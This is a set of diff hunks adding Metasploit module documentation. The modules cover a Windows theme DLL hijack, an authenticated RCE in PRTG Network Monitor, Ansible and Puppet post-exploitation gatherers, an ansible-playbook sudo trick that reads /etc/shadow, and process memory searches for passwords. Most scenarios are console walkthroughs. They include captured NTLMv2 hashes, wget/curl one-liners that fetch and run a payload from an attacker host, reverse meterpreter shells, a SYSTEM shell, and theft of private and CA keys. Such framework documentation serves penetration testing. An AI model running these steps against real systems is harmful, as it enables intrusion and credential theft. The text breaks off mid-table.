msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) >
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Server is running. Listening on 10.5.135.201:445
[*] Server started.
[+] exploit.theme stored at /home/tmoose/.msf4/local/exploit.theme
[*] Received SMB connection from 10.5.132.136
[SMB] NTLMv2-SSP Client : 10.5.132.136
[SMB] NTLMv2-SSP Username : .\msfuser
[SMB] NTLMv2-SSP Hash : msfuser::.:571cefb4150fb5f1:059699f9eee7e044d95167c03c58c6b4:010100000000000000326d46a633da013654631d1e8ef262000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080000326d46a633da0106000400020000000800300030000000000000000100000000200000fe746065d66cc1efc7756d546af110124dd7d6b60126a5edff7b41cce14019d90a001000000000000000000000000000000000000900220063006900660073002f00310030002e0035002e003100330035002e003200300031000000000000000000
[*] Sending file to 10.5.132.136
[*] Sending stage (200774 bytes) to 10.5.132.136
[*] Server stopped.
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.136:50003) at 2023-12-20 18:40:25 -0600
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-7M0LC28
OS : Windows 11 (10.0 Build 22000).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-7M0LC28\msfuser
meterpreter >
```
@@ -0,0 +1,124 @@
## Vulnerable Application
**Vulnerability Description**
This module exploits a command line parameter injection vulnerability in PRTG Network Monitor (CVE-2023-32781).
An authenticated attacker can create a HL7Sensor which can be ran with a parameter injection. This will allow the attacker to specify the `-debug` parameter which will allow a arbitrary file write on the system in the context of the user `SYSTEM`.
The module uses provided credentials to log in to the web interface, and then creates the HL7Sensor, together with an EXE/Script sensor which runs the payload. Furthermore it cleans up the sensor creation after succesful exploitation.
This vulnerability affects versions <= 23.2.83.1760
**Vulnerable Application Installation**
PRTG provides a trial version for free (https://www.paessler.com/prtg/download) but it is always updated to the latest version, which won't allow you to test for the vulnerability.
**Successfully tested on**
- PRTG Network Monitor 23.2.83.1760 on Windows 10
## Verification Steps
1. Install the application
1. Start `msfconsole` and run the following:
```
use exploit/windows/http/prtg_authenticated_rce_cve_2023_32781
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set RPORT 13380
RPORT => 13380
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set SRVPORT 10106
SRVPORT => 10106
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LPORT 4446
LPORT => 4445
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > set LHOST 192.168.56.1
msf6 exploit(windows/http/prtg_authenticated_rce_cve_2023_32781) > exploit
```
`RHOSTS` refers to the PRTG host
`RPORT` refers to the PRTG port
`SRVHOST` refers to the host where metasploit will serve the second stage payload. This has to be reachable by `PRTG`
`SRVPORT` refers to the port where metasploit will serve the second stage payload. This has to be reachable by `PRTG`
`LPORT` refers to the payload connect port back which in this instance is meterpreter
`LHOST` refers to the payload connect host back which in this instance is meterpreter
After running this you should have a meterpreter instance
## Options
**USERNAME**
PRTG Network Monitor's account that has the right to create Sensors (allowed by default on the initial account).
**PASSWORD**
The password associated with the specified username.
## Scenarios
Running the payload and getting a meterpreter session and then spawning a shell as `nt authority\system`
```bash
msf6 > use exploit/development/cve_2023_32781
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(development/cve_2023_32781) > set RPORT 13380
RPORT => 13380
msf6 exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(development/cve_2023_32781) > set SRVPORT 10106
SRVPORT => 10106
msf6 exploit(development/cve_2023_32781) > set LPORT 4446
LPORT => 4445
msf6 exploit(development/cve_2023_32781) > set LHOST 192.168.56.1
msf6 exploit(development/cve_2023_32781) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4446
[*] Using URL: http://192.168.56.1:10105/sF321hmEZCz
[*] Running PRTG RCE exploit
[+] Successfully authenticated against PRTG
[*] Writing .bat to disk
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[*] Generated sensor_name Wg83qiZvO
[*] Generated bat_file_name rjKu8O2Pt.bat
[+] HL7 Sensor succesfully created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2095
[*] Requesting HL7 Sensor to initiate scan
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[+] Sensor started running
[+] .bat file written to disk
[*] Running the .bat file: rjKu8O2Pt.bat
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[*] EXE Script sensor created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2096
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[+] Sensor started running
[+] Exploit completed. Waiting for payload
[*] Exploit done
[*] Command Stager progress - 100.00% done (150/150 bytes)
[*] Client 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428) requested /sF321hmEZCz
[*] Sending payload to 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428)
[*] Sending stage (175686 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.1:4446 -> 192.168.56.1:43926) at 2023-11-23 17:06:34 +0000
[*] Server stopped.
meterpreter > shell
Process 4280 created.
Channel 1 created.
Microsoft Windows [Version 10.0.22621.2428]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
whoami
nt authority\system
```
@@ -0,0 +1,111 @@
## Vulnerable Application
This module will grab ansible information including hosts, ping status, and the configuration file.
### Docker-compose Install
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use post/linux/gather/ansible`
1. Do: `set session [#]`
1. Do: `run`
1. You should get information about the ansible install and host.
## Options
### ANSIBLE
Location of ansible executable if not in a standard location. This is added to a list of default locations
which includes `/usr/local/bin/ansible`. Defaults to ``
### ANSIBLEINVENTORY
Location of ansible-inventory executable if not in a standard location. This is added to a list of default locations
which includes `/usr/local/bin/ansible-inventory`. Defaults to ``
### ANSIBLECFG
Location of ansible-inventory executable if not in a standard location. This is added to a list of default locations
which includes `/etc/ansible/ansible.cfg`. Defaults to ``
### HOSTS
Which Ansible host (groups) to target. Defaults to `all`
## Scenarios
### Docker compose as mentioned above
Get initial access to the system
```
resource (ansible.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (ansible.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ansible.rb)> set srvport 8181
srvport => 8181
resource (ansible.rb)> set target 7
target => 7
resource (ansible.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (ansible.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/qsmOaSn61Y
[*] Server started.
[*] Run the following command on the target machine:
wget -qO D418BdOM --no-check-certificate http://1.1.1.1:8181/qsmOaSn61Y; chmod +x D418BdOM; ./D418BdOM& disown
[*] Starting persistent handler(s)...
[*] Sending stage (3045380 bytes) to 172.28.0.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.28.0.3:52506) at 2023-12-13 12:32:03 -0500
```
```
resource (ansible.rb)> use post/linux/gather/ansible
resource (ansible.rb)> set ANSIBLECFG /playbook/ansible.cfg
ANSIBLECFG => /playbook/ansible.cfg
resource (ansible.rb)> set session 1
session => 1
resource (ansible.rb)> set verbose true
verbose => true
[msf](Jobs:1 Agents:2) post(linux/gather/ansible) > run
[+] Stored inventory to: /root/.msf4/loot/20231213123519_default_172.28.0.3_ansible.inventor_801476.json
[+] Ansible Hosts
=============
Host Connection
---- ----------
alpine-example-com ssh
alpinesystemd-example-com docker
centos7-example-com docker
rhel8-example-com docker
[+] Stored pings to: /root/.msf4/loot/20231213123529_default_172.28.0.3_ansible.ping_007951.txt
[+] Ansible Pings
=============
Host Status Ping Changed
---- ------ ---- -------
alpine-example-com SUCCESS pong false
alpinesystemd-example-com SUCCESS pong false
centos7-example-com SUCCESS pong false
rhel8-example-com SUCCESS pong false
[+] Stored config to: /root/.msf4/loot/20231213123530_default_172.28.0.3_ansible.cfg_563982.txt
[+] Private key file location: /secrets/id_rsa
[+] Stored private key file to: /root/.msf4/loot/20231213123530_default_172.28.0.3_ansible.private._084820.txt
[*] Post module execution completed
```
@@ -0,0 +1,109 @@
## Vulnerable Application
This module will read the first line of a file based on an error message from ansible-playbook with sudo privileges.
ansible-playbook takes a yaml file as input, and if there is an error, such as a non-yaml file, it outputs the line
where the error occurs. This can be exploited to read the first line of the file, which we'll typically want to read
/etc/shadow to obtain root's hash.
### Docker-compose Install
Use the ansible lab files located [here](https://github.com/abdennour/ansible-lab-environment-in-containers).
Before bringing up the `docker-compose` instance, you'll want to generate an SSH key: `ssh-keygen -t rsa -N "" -f secrets/id_rsa`
Of note, only 1 of the 3 alpine hosts will be successful due to the port conflict. This is fine though.
Next you'll need to add a user:
```
docker exec -it ansible-lab-environment-in-containers_controlnode_1 /bin/sh
useradd user
chmod o+w /etc/sudoers
echo -ne "\nuser ALL=(ALL) NOPASSWD: /usr/local/bin/ansible-playbook *\n" >> /etc/sudoers
chmod o-w /etc/sudoers
```
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use post/linux/gather/ansible_playbook_error_message_file_reader`
1. Do: `set session [#]`
1. Do: `run`
1. You should be able to read the top line of a file.
## Options
### ANSIBLEPLAYBOOK
Location of ansible-playbook executable if not in a standard location. This is added to a list of default locations
which includes `/usr/local/bin/ansible-playbook`, `/usr/bin/ansible-playbook`. Defaults to ``
### FILE
File to be read. Defaults to `/etc/shadow`
### FULLOUTPUT
If the entire command output should be displayed, or only the error line. Defaults to `false`
## Scenarios
### Docker compose as mentioned above
Get initial access to the system
```
resource (ansible_playbook.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (ansible_playbook.rb)> set lhost 192.168.2.128
lhost => 192.168.2.128
resource (ansible_playbook.rb)> set srvport 8181
srvport => 8181
resource (ansible_playbook.rb)> set lport 8183
lport => 8183
resource (ansible_playbook.rb)> set target 7
target => 7
resource (ansible_playbook.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (ansible_playbook.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.2.128:8183
[*] Using URL: http://192.168.2.128:8181/I5062GM5P5Avgu
[*] Server started.
[*] Run the following command on the target machine:
wget -qO lAM5H81x --no-check-certificate http://192.168.2.128:8181/I5062GM5P5Avgu; chmod +x lAM5H81x; ./lAM5H81x& disown
[*] Starting persistent handler(s)...
[*] 172.28.0.3 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 172.28.0.3
[*] Meterpreter session 1 opened (192.168.2.128:8183 -> 172.28.0.3:37216) at 2023-12-13 14:58:36 -0500
[msf](Jobs:1 Agents:1) post(linux/gather/ansible_playbook_error_message_file_reader) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/playbook) > getuid
Server username: user
(Meterpreter 1)(/playbook) > cat /etc/shadow
[-] core_channel_open: Operation failed: 1
(Meterpreter 1)(/playbook) > background
[*] Backgrounding session 1...
```
```
resource (ansible_playbook.rb)> use post/linux/gather/ansible_playbook_error_message_file_reader
resource (ansible_playbook.rb)> set session 1
session => 1
resource (ansible_playbook.rb)> set verbose true
verbose => true
[msf](Jobs:1 Agents:1) post(linux/gather/ansible_playbook_error_message_file_reader) > run
[*] Checking sudo
[*] Executing: sudo -n -l
[*] Executing: sudo -n /usr/local/bin/ansible-playbook /etc/shadow
[+] root:!::0:::::
[*] Post module execution completed
```
@@ -0,0 +1,386 @@
## Vulnerable Application
This module will grab Puppet config files, credentials, host information, and file buckets
### Docker-compose Install
Use the puppet files located [here](https://github.com/voxpupuli/crafty/tree/main/puppet/oss) by following this script:
```
mkdir /tmp/puppet
wget https://raw.githubusercontent.com/voxpupuli/crafty/main/puppet/oss/.env -O /tmp/puppet/.env
wget https://raw.githubusercontent.com/voxpupuli/crafty/main/puppet/oss/compose.yaml -O /tmp/puppet/compose.yaml
docker-compose -f /tmp/puppet/compose.yaml up
```
Now build out some content so theres interesting things to pull:
```
docker exec -it puppet_puppet_1 /bin/bash
echo test >> /tmp/TestFile
puppet filebucket -l backup /tmp/TestFile
puppet module install puppetlabs-apache
```
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use post/linux/gather/puppet`
1. Do: `set session [#]`
1. Do: `run`
1. You should get information about the puppet install and host.
## Options
### FILEBUCKET
If file bucket items should be pulled. Defaults to `true`
### PUPPET
Location of puppet executable if not in a standard location. This is added to a list of default locations
which includes `/opt/puppetlabs/puppet/bin/puppet`.
### FACTER
Location of facter executable if not in a standard location. This is added to a list of default locations
which includes `/opt/puppetlabs/puppet/bin/facter`.
## Scenarios
### Docker compose as mentioned above
Get initial access to the system
```
resource (puppet.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (puppet.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (puppet.rb)> set srvport 8181
srvport => 8181
resource (puppet.rb)> set target 7
target => 7
resource (puppet.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (puppet.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/Gc7zrm8CdKGSe2
[*] Server started.
[*] Run the following command on the target machine:
wget -qO CmKyTd1N --no-check-certificate http://1.1.1.1:8181/Gc7zrm8CdKGSe2; chmod +x CmKyTd1N; ./CmKyTd1N& disown
[*] Sending stage (3045380 bytes) to 172.20.0.3
[msf](Jobs:1 Agents:0) post(linux/gather/puppet) > [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.20.0.3:59338) at 2023-12-10 10:38:11 -0500
```
We now have a `wget` command, however the system doesn't have `wget`. Alter it to a `curl`
command similar to `curl http://1.1.1.1:8181/Gc7zrm8CdKGSe2 > uBgZi2eZ; chmod +x uBgZi2eZ; ./uBgZi2eZ& disown`
You'll now need to get on the docker image: `docker exec -it puppet_puppet_1 /bin/bash` and run the `curl`` command.
```
resource (puppet.rb)> use post/linux/gather/puppet
resource (puppet.rb)> set session 1
resource (puppet.rb)> set verbose true
verbose => true
[msf](Jobs:1 Agents:1) post(linux/gather/puppet) > run
[+] Stored puppet config to: /root/.msf4/loot/20231210104539_default_172.20.0.3_puppet.conf_250032.txt
[+] Puppet Configuration
====================
Parameter Value Loot Location
--------- ----- -------------
cacert /etc/puppetlabs/puppetserver/ca/ca_crt.pem /root/.msf4/loot/20231210104540_default_172.20.0.3_etcpuppetlabs_837639.txt
cakey /etc/puppetlabs/puppetserver/ca/ca_key.pem /root/.msf4/loot/20231210104540_default_172.20.0.3_etcpuppetlabs_098956.txt
passfile /etc/puppetlabs/puppet/ssl/private/password
server puppet
user puppet
[+] Puppet Modules
==============
Module Version
------ -------
puppetlabs-apache v11.1.0
puppetlabs-concat v9.0.1
puppetlabs-stdlib v9.4.1
[*] Retrieving filebucket contents: /tmp/TestFile
[+] Puppet Filebucket Files
=======================
Hash Date Filename Loot location
---- ---- -------- -------------
9252a75c942da16f7b52cab752797dea4fca18474db9d7eff102842a459b25b3 2023-12-09 12:17:58 /tmp/TestFile /root/.msf4/loot/20231210104544_default_172.20.0.3_puppet.filebucke_189638.txt
[+] Stored facter to: /root/.msf4/loot/20231210104545_default_172.20.0.3_puppet.facter_436612.txt
[+] Stored packages to: /root/.msf4/loot/20231210104547_default_172.20.0.3_puppet.packages_320990.txt
[+] Puppet Packages
===============
Package Version Source
------- ------- ------
adduser 3.118ubuntu5 apt
apt 2.4.10 apt
base-files 12ubuntu4.4 apt
base-passwd 3.5.52build1 apt
base64 0.2.0 puppet_gem
bash 5.1-6ubuntu1 apt
benchmark 0.1.0 puppet_gem
bigdecimal 2.0.0 puppet_gem
bsdutils 1:2.37.2-4ubuntu3 apt
bundler 2.1.4 puppet_gem
ca-certificates 20230311ubuntu0.22.04.1 apt
ca-certificates-java 20190909ubuntu1.2 apt
cgi 0.1.0.2 puppet_gem
colored2 3.1.2 puppet_gem
concurrent-ruby 1.1.9 puppet_gem
coreutils 8.32-4.1ubuntu1 apt
cri 2.15.11 puppet_gem
csv 3.1.2 puppet_gem
dash 0.5.11+git20210903+057cd650a4ed-3build1 apt
date 3.0.3 puppet_gem
debconf 1.5.79ubuntu1 apt
debianutils 5.5-1ubuntu2 apt
deep_merge 1.2.2 puppet_gem
delegate 0.1.0 puppet_gem
did_you_mean 1.4.0 puppet_gem
diffutils 1:3.8-0ubuntu2 apt
dpkg 1.21.1ubuntu2.2 apt
dumb-init 1.2.5 apt
e2fsprogs 1.46.5-2ubuntu1.1 apt
erubi 1.12.0 puppet_gem
etc 1.1.0 puppet_gem
facter 4.5.1 puppet_gem
faraday 2.7.11 puppet_gem
faraday-follow_redirects 0.3.0 puppet_gem
faraday-net_http 3.0.2 puppet_gem
fast_gettext 2.3.0 puppet_gem
fcntl 1.0.0 puppet_gem
ffi 1.15.5 puppet_gem
fiddle 1.0.0 puppet_gem
fileutils 1.4.1 puppet_gem
findutils 4.8.0-1ubuntu3 apt
fontconfig-config 2.13.1-4.2ubuntu5 apt
fonts-dejavu-core 2.37-2build1 apt
forwardable 1.3.1 puppet_gem
gcc-12-base 12.3.0-1ubuntu1~22.04 apt
getoptlong 0.1.0 puppet_gem
gettext 3.4.9 puppet_gem
gettext-setup 1.1.0 puppet_gem
git 1:2.34.1-1ubuntu1.10 apt
git-man 1:2.34.1-1ubuntu1.10 apt
gpgv 2.2.27-3ubuntu2.1 apt
grep 3.7-1build1 apt
gzip 1.10-4ubuntu4.1 apt
hiera 3.12.0 puppet_gem
hiera-eyaml 3.4.0 puppet_gem
highline 2.1.0 puppet_gem
hocon 1.3.1 puppet_gem
hostname 3.23ubuntu2 apt
init-system-helpers 1.62 apt
io-console 0.5.6 puppet_gem
ipaddr 1.2.2 puppet_gem
irb 1.2.6 puppet_gem
java-common 0.72build2 apt
json 2.3.0 puppet_gem
jwt 2.7.1 puppet_gem
libacl1 2.3.1-1 apt
libapt-pkg6.0 2.4.10 apt
libasound2 1.2.6.1-1ubuntu1 apt
libasound2-data 1.2.6.1-1ubuntu1 apt
libattr1 1:2.5.1-1build1 apt
libaudit-common 1:3.0.7-1build1 apt
libaudit1 1:3.0.7-1build1 apt
libavahi-client3 0.8-5ubuntu5.1 apt
libavahi-common-data 0.8-5ubuntu5.1 apt
libavahi-common3 0.8-5ubuntu5.1 apt
libblkid1 2.37.2-4ubuntu3 apt
libbrotli1 1.0.9-2build6 apt
libbsd0 0.11.5-1 apt
libbz2-1.0 1.0.8-5build1 apt
libc-bin 2.35-0ubuntu3.4 apt
libc6 2.35-0ubuntu3.4 apt
libcap-ng0 0.7.9-2.2build3 apt
libcap2 1:2.44-1ubuntu0.22.04.1 apt
libcom-err2 1.46.5-2ubuntu1.1 apt
libcrypt1 1:4.4.27-1 apt
libcups2 2.4.1op1-1ubuntu4.7 apt
libcurl3-gnutls 7.81.0-1ubuntu1.14 apt
libdb5.3 5.3.28+dfsg1-0.8ubuntu3 apt
libdbus-1-3 1.12.20-2ubuntu4.1 apt
libdebconfclient0 0.261ubuntu1 apt
liberror-perl 0.17029-1 apt
libexpat1 2.4.7-1ubuntu0.2 apt
libext2fs2 1.46.5-2ubuntu1.1 apt
libffi8 3.4.2-4 apt
libfontconfig1 2.13.1-4.2ubuntu5 apt
libfreetype6 2.11.1+dfsg-1ubuntu0.2 apt
libgcc-s1 12.3.0-1ubuntu1~22.04 apt
libgcrypt20 1.9.4-3ubuntu3 apt
libgdbm-compat4 1.23-1 apt
libgdbm6 1.23-1 apt
libglib2.0-0 2.72.4-0ubuntu2.2 apt
libgmp10 2:6.2.1+dfsg-3ubuntu1 apt
libgnutls30 3.7.3-4ubuntu1.2 apt
libgpg-error0 1.43-3 apt
libgraphite2-3 1.3.14-1build2 apt
libgssapi-krb5-2 1.19.2-2ubuntu0.2 apt
libharfbuzz0b 2.7.4-1ubuntu3.1 apt
libhogweed6 3.7.3-1build2 apt
libidn2-0 2.3.2-2build1 apt
libjpeg-turbo8 2.1.2-0ubuntu1 apt
libjpeg8 8c-2ubuntu10 apt
libk5crypto3 1.19.2-2ubuntu0.2 apt
libkeyutils1 1.6.1-2ubuntu3 apt
libkrb5-3 1.19.2-2ubuntu0.2 apt
libkrb5support0 1.19.2-2ubuntu0.2 apt
liblcms2-2 2.12~rc1-2build2 apt
libldap-2.5-0 2.5.16+dfsg-0ubuntu0.22.04.1 apt
liblz4-1 1.9.3-2build2 apt
liblzma5 5.2.5-2ubuntu1 apt
libmd0 1.0.4-1build1 apt
libmount1 2.37.2-4ubuntu3 apt
libncurses6 6.3-2ubuntu0.1 apt
libncursesw6 6.3-2ubuntu0.1 apt
libnettle8 3.7.3-1build2 apt
libnghttp2-14 1.43.0-1build3 apt
libnsl2 1.3.0-2build2 apt
libnspr4 2:4.32-3build1 apt
libnss3 2:3.68.2-0ubuntu1.2 apt
libp11-kit0 0.24.0-6build1 apt
libpam-modules 1.4.0-11ubuntu2.3 apt
libpam-modules-bin 1.4.0-11ubuntu2.3 apt
libpam-runtime 1.4.0-11ubuntu2.3 apt
libpam0g 1.4.0-11ubuntu2.3 apt
libpcre2-8-0 10.39-3ubuntu0.1 apt
libpcre3 2:8.39-13ubuntu0.22.04.1 apt
libpcsclite1 1.9.5-3ubuntu1 apt
libperl5.34 5.34.0-3ubuntu1.2 apt
libpng16-16 1.6.37-3build5 apt
libprocps8 2:3.3.17-6ubuntu2 apt
libpsl5 0.21.0-1.2build2 apt
librtmp1 2.4+20151223.gitfa8646d.1-2build4 apt
libsasl2-2 2.1.27+dfsg2-3ubuntu1.2 apt
libsasl2-modules-db 2.1.27+dfsg2-3ubuntu1.2 apt
libseccomp2 2.5.3-2ubuntu2 apt
libselinux1 3.3-1build2 apt
libsemanage-common 3.3-1build2 apt
libsemanage2 3.3-1build2 apt
libsepol2 3.3-1build1 apt
libsmartcols1 2.37.2-4ubuntu3 apt
libsqlite3-0 3.37.2-2ubuntu0.1 apt
libss2 1.46.5-2ubuntu1.1 apt
libssh-4 0.9.6-2ubuntu0.22.04.1 apt
libssl3 3.0.2-0ubuntu1.10 apt
libstdc++6 12.3.0-1ubuntu1~22.04 apt
libsystemd0 249.11-0ubuntu3.10 apt
libtasn1-6 4.18.0-4build1 apt
libtinfo6 6.3-2ubuntu0.1 apt
libtirpc-common 1.3.2-2ubuntu0.1 apt
libtirpc3 1.3.2-2ubuntu0.1 apt
libudev1 249.11-0ubuntu3.10 apt
libunistring2 1.0-1 apt
libuuid1 2.37.2-4ubuntu3 apt
libx11-6 2:1.7.5-1ubuntu0.3 apt
libx11-data 2:1.7.5-1ubuntu0.3 apt
libxau6 1:1.0.9-1build5 apt
libxcb1 1.14-3ubuntu3 apt
libxdmcp6 1:1.1.3-0ubuntu5 apt
libxext6 2:1.3.4-1build1 apt
libxi6 2:1.8-1build1 apt
libxrender1 1:0.9.10-1build4 apt
libxtst6 2:1.2.3-1build4 apt
libxxhash0 0.8.1-1 apt
libzstd1 1.4.8+dfsg-3build1 apt
locale 2.1.3 puppet_gem
log4r 1.1.10 puppet_gem
logger 1.4.2 puppet_gem
login 1:4.8.1-2ubuntu2.1 apt
logsave 1.46.5-2ubuntu1.1 apt
lsb-base 11.1.0ubuntu4 apt
matrix 0.2.0 puppet_gem
mawk 1.3.4.20200120-3 apt
minitar 0.9 puppet_gem
minitest 5.13.0 puppet_gem
mount 2.37.2-4ubuntu3 apt
multi_json 1.15.0 puppet_gem
mutex_m 0.1.0 puppet_gem
ncurses-base 6.3-2ubuntu0.1 apt
ncurses-bin 6.3-2ubuntu0.1 apt
net-pop 0.1.0 puppet_gem
net-smtp 0.1.0 puppet_gem
net-ssh 4.2.0 puppet_gem
net-telnet 0.2.0 puppet_gem
net-tools 1.60+git20181103.0eebece-1ubuntu5 apt
netbase 6.3 apt
observer 0.1.0 puppet_gem
open3 0.1.0 puppet_gem
openjdk-17-jre-headless 17.0.8.1+1~us1-0ubuntu1~22.04 apt
openjdk-8-jre-headless 8u382-ga-1~22.04.1 apt
openssl 3.0.2-0ubuntu1.12 apt
optimist 3.0.1 puppet_gem
ostruct 0.2.0 puppet_gem
passwd 1:4.8.1-2ubuntu2.1 apt
perl 5.34.0-3ubuntu1.2 apt
perl-base 5.34.0-3ubuntu1.2 apt
perl-modules-5.34 5.34.0-3ubuntu1.2 apt
power_assert 1.1.7 puppet_gem
prime 0.1.1 puppet_gem
procps 2:3.3.17-6ubuntu2 apt
pstore 0.1.0 puppet_gem
psych 3.1.0 puppet_gem
puppet 7.27.0 puppet_gem
puppet-agent 7.27.0-1jammy apt
puppet-resource_api 1.9.0 puppet_gem
puppet7-release 7.0.0-14jammy apt
puppet_forge 5.0.3 puppet_gem
puppetdb-termini 7.15.0-1jammy apt
puppetserver 7.14.0-1jammy apt
puppetserver-ca 2.6.0 puppet_gem
r10k 4.0.0 puppet_gem
racc 1.4.16 puppet_gem
rake 13.0.1 puppet_gem
rdoc 6.2.1.1 puppet_gem
readline 0.0.2 puppet_gem
readline-ext 0.1.0 puppet_gem
reline 0.1.5 puppet_gem
rexml 3.2.3.1 puppet_gem
rss 0.2.8 puppet_gem
ruby2_keywords 0.0.5 puppet_gem
scanf 1.0.0 puppet_gem
sdbm 1.0.0 puppet_gem
sed 4.8-1ubuntu2 apt
semantic_puppet 1.0.4 puppet_gem
sensible-utils 0.0.17 apt
singleton 0.1.0 puppet_gem
stringio 0.1.0 puppet_gem
strscan 1.0.3 puppet_gem
sys-filesystem 1.4.4 puppet_gem
sysvinit-utils 3.01-1ubuntu1 apt
tar 1.34+dfsg-1ubuntu0.1.22.04.1 apt
test-unit 3.3.4 puppet_gem
text 1.3.1 puppet_gem
thor 1.2.2 puppet_gem
timeout 0.1.0 puppet_gem
tracer 0.1.0 puppet_gem
ubuntu-keyring 2021.03.26 apt
ucf 3.0043 apt
uri 0.10.0.2 puppet_gem
usrmerge 25ubuntu2 apt
util-linux 2.37.2-4ubuntu3 apt
webrick 1.6.1 puppet_gem
x11-common 1:7.7+23ubuntu2 apt
xmlrpc 0.3.0 puppet_gem
yaml 0.1.0 puppet_gem
zlib 1.1.0 puppet_gem
zlib1g 1:1.2.11.dfsg-2ubuntu9.2 apt
[*] Post module execution completed
```
@@ -0,0 +1,129 @@
## Vulnerable Application
This module allows for searching the memory space of running processes using Meterpreter's
`stdapi_sys_process_memory_search` command for potentially sensitive data such as passwords.
## Verification Steps
1. Start `msfconsole`
1. Get a Meterpreter session
1. Do: `use post/multi/gather/memory_search`
1. Do: `set SESSION <Session ID>`
1. Do: `set PROCESS_NAMES_GLOB <process_names_regex>`
1. Do: `set PROCESS_IDS <Process ID>`
1. Do: `set REGEX <regex>`
1. Do: `run`
## Options
### PROCESS_NAMES_GLOB
Regular expression used to target processes. (default: `ssh.*`)
### PROCESS_IDS
Comma delimited process ID/IDs to search through. (default: `nil`)
### REGEX
Regular expression to search for within memory. (default: `publickey,password.*`)
### MIN_MATCH_LEN
The minimum number of bytes to match. (default: `5`)
### MAX_MATCH_LEN
The maximum number of bytes to match. (default: `127`)
### REPLACE_NON_PRINTABLE_BYTES
Replace non-printable bytes with ".". (default: `true`)
### SAVE_LOOT
Save the memory matches to loot. (default: `true`)
## Scenarios
### Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023
In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`:
```
msf6 post(multi/gather/memory_search) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
